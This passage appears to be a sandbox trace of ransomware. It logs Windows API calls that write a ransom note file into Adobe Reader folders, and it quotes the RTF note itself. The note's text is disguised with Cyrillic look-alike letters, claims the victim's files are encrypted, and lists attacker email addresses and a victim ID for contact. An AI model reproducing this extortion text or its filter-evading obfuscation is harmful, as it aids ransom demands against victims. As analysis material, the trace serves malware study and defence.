us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nÒ3Ϧ¼­&!:Ü\x9c}Åèî\x1f\x0cû\x0c\x09\x04Î\x8fÅåN2೺\x03\n", lpUsedDefaultChar=0x0) returned 14086 [0034.061] WriteFile (in: hFile=0x1b4, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0034.062] CloseHandle (hObject=0x1b4) returned 1 [0034.062] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\!bwng_info!.rtf")) returned 0xffffffff [0034.062] GetLastError () returned 0x2 [0034.062] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\DEU\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\deu\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.063] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t 